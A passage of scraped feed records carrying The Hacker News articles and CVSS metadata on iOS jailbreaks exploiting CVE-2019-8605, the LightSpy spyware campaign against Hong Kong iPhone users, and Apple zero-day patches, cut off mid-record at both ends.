Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-27T06:06:00", "type": "thn", "title": "Apple Releases iOS 12.4.1 Emergency Update to Patch 'Jailbreak' Flaw", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-27T06:06:41", "id": "THN:79F83648DEAA2E305471E325D6B2DE48", "href": "https://thehackernews.com/2019/08/apple-ios-iphone-jailbreak.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:27", "description": "[](<https://thehackernews.com/images/-9Pez-OxHVvE/Xst5DI1xVQI/AAAAAAAAAXA/0cbqJNzliBcyO6cOMlUz-TQIIBWRPCtBgCLcBGAsYHQ/s728-e100/ios-jailbreak-tools.png>)\n\nThe hacking team behind the \"unc0ver\" jailbreaking tool has released a new version of the software that can unlock every single iPhone, including those running the latest iOS 13.5 version. \n \nCalling it the first zero-day jailbreak to be released since iOS 8, unc0ver's lead developer [Pwn20wnd](<https://twitter.com/Pwn20wnd/status/1264258454610259968>) said \"every other jailbreak released since iOS 9 used 1day exploits that were either patched in the next beta version or the hardware.\" \n \nThe group did not specify which vulnerability in iOS was exploited to develop the latest version. \n \nThe [unc0ver website](<https://unc0ver.dev/>) also highlighted the extensive testing that went behind the scenes to ensure compatibility across a broad range of devices, from iPhone 6S to the new iPhone 11 Pro Max models, spanning versions iOS 11.0 through iOS 13.5, but excluding versions 12.3 to 12.3.2 and 12.4.2 to 12.4.5. \n \n\"Utilizing native system sandbox exceptions, security remains intact while enabling access to jailbreak files,\" according to unc0ver, meaning installing the new jailbreak will likely not compromise [iOS' sandbox protections](<https://developer.apple.com/library/archive/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html>). \n \nJailbreaking, analogous to rooting on Google's Android, is a privilege escalation that works by exploiting flaws in iOS to grant users root access and full control over their devices. This allows iOS users to remove software restrictions imposed by Apple, thereby allowing access to additional customization and otherwise prohibited apps. \n \nBut it also weakens the device's security, opening the door to all kinds of malware attacks. The added security risks, coupled with Apple's steady hardware and software lockdown, have made it difficult to jailbreak devices deliberately. \n \nFurthermore, jailbreaks tend to be very specific and based on previously disclosed vulnerabilities, and very much dependent on the iPhone model and iOS version, in order for them to be successfully replicated. \n \nThe development comes as zero-day exploit broker Zerodium said it would no longer purchase [iOS RCE vulnerabilities](<https://twitter.com/Zerodium/status/1260541578747064326>) for the next few months, citing \"a high number of submissions related to these vectors.\" \n \nLast August, Pwn20wnd exploited a SockPuppet flaw (CVE-2019-8605) uncovered by Googler Ned Williamson to release a [public version of the jailbreak](<https://thehackernews.com/2019/08/ios-iphone-jailbreak.html>) \u2014 making it the first time an up-to-date firmware was unlocked in years \u2014 after Apple accidentally reintroduced a previously patched flaw in iOS 12.4. The company later rolled out a fix in [iOS 12.4.1](<https://support.apple.com/en-us/HT210549>) to address the privilege escalation vulnerability. \n \nThen in September, a security researcher published details of a permanent unpatchable bootrom exploit, dubbed [checkm8](<https://thehackernews.com/2019/09/bootrom-jailbreak-ios-exploit.html>), that could be employed to jailbreak virtually every type of Apple mobile device released between 2011 and 2017, including iPhones, iPads, Apple Watches, and Apple TVs. \n \nWhile the new jailbreak leverages an as-yet-unknown zero-day vulnerability, the iPhone maker will likely roll out a security update in the coming weeks to plug the flaw exploited by unc0ver. \n \nThe new Unc0ver 5.0.0 jailbreak can be installed from iOS, macOS, Linux, and Windows devices. The usage instructions are available on the [unc0ver website](<https://unc0ver.dev/>) here.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-05-25T08:02:00", "type": "thn", "title": "New Tool Can Jailbreak Any iPhone and iPad Using An Unpatched 0-Day Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2020-05-25T08:02:17", "id": "THN:754EDA3BD8060BD079B3DB44EE616405", "href": "https://thehackernews.com/2020/05/iphone-ios-jailbreak-tools.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:49", "description": "[](<https://thehackernews.com/images/-7tUyE06-O2I/XVwI37N5QoI/AAAAAAAA0yY/K0ABU8eE75gwAbGWQgBupFoTCy2paVSzQCLcBGAs/s728-e100/ios-iphone-jailbreak-exploit.jpg>)\n\nA fully functional jailbreak has been released for the latest iOS 12.4 on the Internet, making it the first public jailbreak in a long time\u2014thanks to Apple. \n \nDubbed \"**unc0ver 3.5.0**,\" the jailbreak works with the updated iPhones, iPads and iPod Touches by leveraging a vulnerability that Apple previously patched in iOS 12.3 but accidentally reintroduced in the latest iOS version 12.4. \n \nJailbreaking an iPhone allows you to install apps and other functions that are usually not approved by Apple, but it also disables some system protections that Apple put in place to protect its users, opening you up to potential attacks. \n \nUsually, iPhone Jailbreaks are sold for millions of dollars by exploit brokers, but if you want to jailbreak your Apple device, you can do it for free. \n \nAn anonymous researcher who goes by the online alias \"Pwn20wnd\" has released a free [jailbreak for iOS 12.4](<https://github.com/pwn20wndstuff/Undecimus/releases>) on GitHub that exploits a use-after-free vulnerability in iOS kernel responsibly reported to Apple earlier this year by Ned Williamson, a researcher working with Google Project Zero. \n \nThe vulnerability, tracked as [CVE-2019-8605](<https://support.apple.com/en-in/HT210118>), allows an application to execute arbitrary code with system privileges on a target Apple device, which can not only be used to jailbreak them but also leaves users vulnerable to hackers. \n \nAccording to researchers, besides embedding the exploit into an innocent-looking app, the vulnerability can also be exploited remotely by combining it with sandbox bypass flaws in Apple Safari web browser or other Internet exposed services. \n\n\n[](<https://thehackernews.com/images/-6cxvnUPC8kQ/XVwDH8dMcNI/AAAAAAAA0yQ/W7MZUODZfec84YOiEtTKCpK3P3uIsZwYQCLcBGAs/s728-e100/ios-iphone-jailbreak-exploit.png>)\n\nThough Apple patched this vulnerability in iOS 12.3, it accidentally reintroduced the same bug in iOS 12.4, making it easier for hackers to compromise Apple devices. \n \n\n\n> As Pwn20wnd [told](<https://www.vice.com/en_us/article/qvgp77/hacker-releases-first-public-iphone-jailbreak-in-years>) Motherboard, \"somebody could make perfect spyware by exploiting this vulnerability.\"\n\n \n\n\n> \"For example, he said, a malicious app could include an exploit for this bug that allows it to escape the usual iOS sandbox\u2014a mechanism that prevents apps from reaching data of other apps or the system\u2014and steal user data.\"\n\n \nThe new jailbreak works on updated iOS devices, including the iPhone XS, XS Max, and XR or the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier, but does not work at all on devices running iOS 12.3 that patched the bug. \n \nSeveral Apple users have taken to Twitter, claiming they used the Pwn20wnd jailbreak tool to successfully jailbreak [[1](<https://twitter.com/yosy1692/status/1163358975427010560>), [2](<https://twitter.com/Juanillo62gm/status/1163176886845005824?s=20>), [3](<https://twitter.com/Tiagonwk/status/1163243536747311105>), [4](<https://twitter.com/Liaoqingqing520/status/1163366529930412032?s=20>)] their Apple devices, including the recent iPhone X and iPhone XR, and posting screenshots of their iPhone screens with unapproved app installations. \n \nSince Apple doesn't allow users to downgrade their operating system, users who have already upgraded their Apple devices to the latest version of iOS released late last month are left with no option other than waiting for an update from Apple. \n \nLikely, Apple is already working on a patch to re-implement its earlier patch that will be released with iOS 12.4.1. Meanwhile, you should also beware of apps you download from the App Store until a patch releases. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-20T14:54:00", "type": "thn", "title": "iOS 12.4 jailbreak released after Apple 'accidentally un-patches' an old flaw", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-20T19:30:02", "id": "THN:BC46175420BE934D07B4CB081F495CCB", "href": "https://thehackernews.com/2019/08/ios-iphone-jailbreak.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:32", "description": "[](<https://thehackernews.com/images/-l-j1592mC9I/Xn3hyLuETvI/AAAAAAAAAJU/DIFfA_78KIIw7NwHSG8Zv48C21xGcxD_wCLcBGAsYHQ/s728-e100/iphone-iOS-spyware.jpg>)\n\nA newly discovered watering-hole campaign is targeting Apple iPhone users in Hong Kong by using malicious website links as a lure to install spyware on the devices. \n \nAccording to research published by [Trend Micro](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>) and [Kaspersky](<https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/>), the \"**Operation Poisoned News**\" attack leverages a remote iOS exploit chain to deploy a feature-rich implant called 'LightSpy' through links to local news websites, which when clicked, executes the malware payload and allows an interloper to exfiltrate sensitive data from the affected device and even take full control. \n \nWatering-hole attacks typically let a bad actor compromise a specific group of end-users by infecting websites that they are known to visit, with an intention to gain access to the victim's device and load it with malware. \n \nThe APT group, dubbed \"TwoSail Junk\" by Kaspersky, is said to be leveraging vulnerabilities present in iOS 12.1 and 12.2 spanning all models from iPhone 6 to the iPhone X, with the attacks first identified on January 10, before intensifying around February 18. \n \n\n\n## Using Malicious Links as Bait to Install Spyware\n\n \nThe campaign uses fake links posted on multiple forums, all popular with Hong Kong residents, that claim to lead to various news stories related to topics that are either sex-related, clickbait, or news related to the ongoing [COVID-19 coronavirus pandemic](<https://thehackernews.com/2020/03/coronavirus-covid-apps-android.html>). \n \n\n\n[](<https://thehackernews.com/images/-FpfyWqHfZwM/Xn3ax54v7KI/AAAAAAAA2l0/Qnbknv9giCoe56A0wYQspJ0QeHK3488rACLcBGAsYHQ/s728-e100/iphone-iOS-spyware.jpg>)\n\n \nClicking the URLs lead the users to legitimate news outlets that have been compromised as well as websites set up specifically for this campaign (e.g., hxxps://appledaily.googlephoto[.]vip/news[.]html) by the operators. In both situations, a hidden iframe is employed to load and execute malicious code. \n \n\"The URLs used led to a malicious website created by the attacker, which in turn contained three iframes that pointed to different sites,\" Trend Micro researchers said. \"The only visible iframe leads to a legitimate news site, which makes people believe they are visiting the said site. One invisible iframe was used for website analytics; the other led to a site hosting the main script of the iOS exploits.\" \n \n\n\n[](<https://thehackernews.com/images/-AxnRxcDhqWc/Xn3cxpkv1PI/AAAAAAAAAI8/lOdz7V7vuZw_2ZBxT19dd6OPDeL82FfDwCLcBGAsYHQ/s728-e100/ios-exploit-malware.jpg>)\n\n \nThe malware in question exploits a \"silently patched\" Safari vulnerability, which when rendered on the browser leads to the exploitation of a [use after free memory flaw](<https://cwe.mitre.org/data/definitions/416.html>) (tracked as [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>)) that allows an attacker to execute arbitrary code with root privileges \u2014 in this case, install the proprietary LightSpy backdoor. The bug has since been resolved with the release of iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, and watchOS 5.2.1. \n \nThe spyware is not just capable of remotely executing shell commands and taking full control of the device. It also contains a variety of downloadable modules that allow for data exfiltration, such as contact lists, GPS location, Wi-Fi connection history, hardware data, iOS keychains, phone call records, mobile Safari and Chrome browser history, and SMS messages. \n \nIn addition, LightSpy targets messaging applications like Telegram, QQ, and WeChat to steal account information, contacts, groups, messages, and attached files. \n \n\n\n## A Surveillance Operation Targeting Southeast Asia\n\n \nIt is suspected the TwoSail Junk gang is connected to, or possibly the same, as the operators of \"[dmsSpy](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>),\" an Android variant of the same malware that was distributed last year through open Telegram channels under the guise of Hong Kong protest calendar apps among others. \n \n\"dmsSpy's download and command-and-control servers used the same domain name (hkrevolution[.]club) as one of the watering holes used by the iOS component of Poisoned News,\" the researchers observed. \n \nOnce installed, these rogue Android apps harvested and exfiltrated contacts, text messages, the user's location, and the names of stored files. \n \n\"This particular framework and infrastructure is an interesting example of an agile approach to developing and deploying surveillance framework in Southeast Asia,\" Kaspersky researchers concluded. \n \nTrend Micro, for its part, suggested the design and functionality of the campaign aim to compromise as many mobile devices as possible to enable device backdooring and surveillance. \n \nTo mitigate such threats, it's essential that users keep their devices up-to-date and avoid sideloading apps on Android from unauthorized sources.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-03-27T11:26:00", "type": "thn", "title": "Hackers Used Local News Sites to Install Spyware On iPhones", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-27T11:32:12", "id": "THN:38E80608368A67C138D1E4D8187D2AA3", "href": "https://thehackernews.com/2020/03/iphone-iOS-spyware.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:38", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEgnnlgX5hX0EtUFCT7gPvMigO7Cz2Vym9-AKVJV2EtF-s_FFJviAheC1VI_BJG2166ydJVSX1A_9_mQPg1SUbvoEZ9F7Gr-vI7QU8wExp-pPwVMMPgfviaMruhE_R_zPnSRFCrQdl5TO5AUgnT66CmBGHpKArWuZ1fkZtZzQuhXsYRKUGPI8n9Baps0>)\n\nApple on Wednesday [released](<https://support.apple.com/en-us/HT201222>) iOS 15.3 and macOS Monterey 12.2 with a fix for the privacy-defeating bug in Safari, as well as to contain a zero-day flaw, which it said has been exploited in the wild to break into its devices.\n\nTracked as **CVE-2022-22587**, the vulnerability relates to a memory corruption issue in the IOMobileFrameBuffer component that could be abused by a malicious application to execute arbitrary code with kernel privileges.\n\nThe iPhone maker said it's \"aware of a report that this issue may have been actively exploited,\" adding it addressed the issue with improved input validation. It did not reveal the nature of the attacks, how widespread they are, or the identities of the threat actors exploiting them.\n\nAn anonymous researcher along with Meysam Firouzi and Siddharth Aeri have been credited with discovering and reporting the flaw.\n\nCVE-2022-22587 is the third zero-day vulnerability discovered in IOMobileFrameBuffer in a span of six months after [CVE-2021-30807](<https://thehackernews.com/2021/07/apple-releases-urgent-0-day-bug-patch.html>) and [CVE-2021-30883](<https://thehackernews.com/2021/10/apple-releases-urgent-iphone-and-ipad.html>). In December 2021, Apple [resolved](<https://thehackernews.com/2021/12/latest-apple-ios-update-patches-remote.html>) four additional weaknesses in the kernel extension that's used to manage the screen framebuffer.\n\nAlso fixed by the tech giant is a recently disclosed [vulnerability in Safari](<https://thehackernews.com/2022/01/new-unpatched-apple-safari-browser-bug.html>) that stemmed from a faulty implementation of the [IndexedDB API](<https://github.com/WebKit/WebKit/commit/f73005ed826014988f8ee447de23927749fb56e5>) (CVE-2022-22594), which could be abused by a malicious website to track users' online activity in the web browser and even reveal their identity.\n\nOther flaws of note include \u2014\n\n * **CVE-2022-22584** \u2013 A memory corruption issue in ColorSync that may lead to arbitrary code execution when processing a malicious crafted file\n * **CVE-2022-22578** \u2013 A logic issue in Crash Reporter that could allow a malicious application to gain root privileges\n * **CVE-2022-22585** \u2013 A path validation issue in iCloud that could be exploited by a rogue application to access a user's files\n * **CVE-2022-22591 **\u2013 A memory corruption issue in Intel Graphics Driver that could be abused by a malicious application to execute arbitrary code with kernel privileges\n * **CVE-2022-22593** \u2013 A buffer overflow issue in Kernel that could be abused by a malicious application to execute arbitrary code with kernel privileges\n * **CVE-2022-22590** \u2013 A use-after-free issue in WebKit that may lead to arbitrary code execution when processing maliciously crafted web content\n\nThe [updates](<https://support.apple.com/en-us/HT213053>) are available for iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, iPod touch (7th generation), and macOS devices running [Big Sur](<https://support.apple.com/en-us/HT213055>), [Catalina](<https://support.apple.com/en-us/HT213056>), and [Monterey](<https://support.apple.com/en-us/HT213054>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-27T05:05:00", "type": "thn", "title": "Apple Releases iOS and macOS Updates to Patch Actively Exploited 0-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30807", "CVE-2021-30883", "CVE-2022-22578", "CVE-2022-22584", "CVE-2022-22585", "CVE-2022-22587", "CVE-2022-22590", "CVE-2022-22591", "CVE-2022-22593", "CVE-2022-22594"], "modified": "2022-01-27T06:32:46", "id": "THN:DCB20559AE0C35EB864725D482E268C2", "href": "https://thehackernews.com/2022/01/apple-releases-ios-and-ipados-updates.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:14", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEj9Bd2VdAXWvbASf8YmWxr5iArtahL17_NleXHz62PXrscVcuyhLoDB7s3THH7T3H2cNZseMCfhLHRI9u5ESRDFZknnkYq6qqLc5c9bPFMM7KFlt0MGfj_ufHze0jtqtN8jGQiQUtNiSL3Kgq8Vsdc1lkrooiJsHq3ucrJQr03nO_OVN3I2C0POzJAs>)\n\nApple on Monday released a security update for iOS and iPad to address a critical vulnerability that it says is being exploited in the wild, making it the 17th zero-day flaw the company has addressed in its products since the start of the year.\n\nThe weakness, assigned the identifier [CVE-2021-30883](<https://support.apple.com/en-us/HT212846>), concerns a memory corruption issue in the \"IOMobileFrameBuffer\" component that could allow an application to execute arbitrary code with kernel privileges. Crediting an anonymous researcher for reporting the vulnerability, Apple said it's \"aware of a report that this issue may have been actively exploited.\"\n\nTechnical specifics about the flaw and the nature of the attacks remain unavailable as yet, as is the identity of the threat actor, so as to allow a majority of the users to apply the patch and prevent other adversaries from weaponizing the vulnerability. The iPhone maker said it addressed the issue with improved memory handling.\n\nBut soon after the advisory was released, security researcher Saar Amar [shared](<https://saaramar.github.io/IOMFB_integer_overflow_poc/>) additional details, and a proof-of-concept (PoC) exploit, noting that \"this attack surface is highly interesting because it's accessible from the app sandbox (so it's great for jailbreaks) and many other processes, making it a good candidate for LPEs exploits in chains.\"\n\nCVE-2021-30883 is also the second zero-day impacting IOMobileFrameBuffer after Apple addressed a similar, anonymously reported memory corruption issue (CVE-2021-30807) in July 2021, raising the possibility that the two flaws could be related. With the latest fix, the company has resolved a record 17 zero-days to date in 2021 alone \u2014\n\n * [**CVE-2021-1782**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (Kernel) - A malicious application may be able to elevate privileges\n * [**CVE-2021-1870**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (WebKit) - A remote attacker may be able to cause arbitrary code execution\n * [**CVE-2021-1871**](<https://thehackernews.com/2021/01/apple-warns-of-3-ios-zero-day-security.html>) (WebKit) - A remote attacker may be able to cause arbitrary code execution\n * [**CVE-2021-1879**](<https://thehackernews.com/2021/03/apple-issues-urgent-patch-update-for.html>) (WebKit) - Processing maliciously crafted web content may lead to universal cross-site scripting\n * [**CVE-2021-30657**](<https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html>) (System Preferences) - A malicious application may bypass Gatekeeper checks\n * [**CVE-2021-30661**](<https://thehackernews.com/2021/04/hackers-exploit-0-day-gatekeeper-flaw.html>) (WebKit Storage) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30663**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30665**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30666**](<https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30713**](<https://thehackernews.com/2021/05/apple-issues-patches-to-combat-ongoing.html>) (TCC framework) - A malicious application may be able to bypass Privacy preferences\n * [**CVE-2021-30761**](<https://thehackernews.com/2021/06/apple-issues-urgent-patches-for-2-zero.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30762**](<https://thehackernews.com/2021/06/apple-issues-urgent-patches-for-2-zero.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30807**](<https://thehackernews.com/2021/07/apple-releases-urgent-0-day-bug-patch.html>) (IOMobileFrameBuffer) - An application may be able to execute arbitrary code with kernel privileges\n * [**CVE-2021-30858**](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) (WebKit) - Processing maliciously crafted web content may lead to arbitrary code execution\n * [**CVE-2021-30860**](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) (CoreGraphics) - Processing a maliciously crafted PDF may lead to arbitrary code execution\n * [**CVE-2021-30869**](<https://thehackernews.com/2021/09/urgent-apple-ios-and-macos-updates.html>) (XNU) - A malicious application may be able to execute arbitrary code with kernel privileges\n\nApple iPhone and iPad users are highly recommended to update to the latest version (iOS 15.0.2 and iPad 15.0.2) to mitigate the security vulnerability.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-12T02:41:00", "type": "thn", "title": "Apple Releases Urgent iPhone and iPad Updates to Patch New Zero-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-30883"], "modified": "2021-10-20T05:21:18", "id": "THN:BB8CDCFD08801BDD2929E342853D03E9", "href": "https://thehackernews.com/2021/10/apple-releases-urgent-iphone-and-ipad.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:48", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEhlwtw2TVeotVjoBVOCcrbp7IST68xt1N7ChNI7ze3lOOvYTWLhWOZKDsd0YfgJjwPGHRFYaM-zqN2Fn6L7L7AQP08kPi3kvNTlzovrYkiJI2NfOjUOx_jB0ao2jwhiA3FrEQm1Dtv9QcDLJr8DppJvyw0oLFdrq_E_ghYMlnZjNpGAFbDZSkum89jD>)\n\nApple on Monday released updates to [iOS](<https://support.apple.com/en-us/HT212976>), [macOS](<https://support.apple.com/en-us/HT212978>), [tvOS](<https://support.apple.com/en-us/HT212980>), and [watchOS](<https://support.apple.com/en-us/HT212975>) with security patches for multiple vulnerabilities, including a remote jailbreak exploit chain as well as a number of critical issues in the Kernel and Safari web browser that were first demonstrated at the Tianfu Cup held in China two months ago.\n\nTracked as CVE-2021-30955, the issue could have enabled a malicious application to execute arbitrary code with kernel privileges. Apple said it addressed the race condition bug with \"improved state handling.\" The flaw also impacts macOS devices.\n\n\"The kernel bug CVE-2021-30955 is the one we tried [to] use to build our remote jailbreak chain but failed to complete on time,\" Kunlun Lab's chief executive, @mj0011sec, [said](<https://twitter.com/mj0011sec/status/1470489020866400256>) in a tweet. A set of similar kernel vulnerabilities were eventually harnessed by the Pangu Team at the [Tianfu hacking contest](<https://thehackernews.com/2021/10/windows-10-linux-ios-chrome-and-many.html>) to break into an iPhone13 Pro running iOS 15, a feat that netted the white hat hackers $330,000 in cash 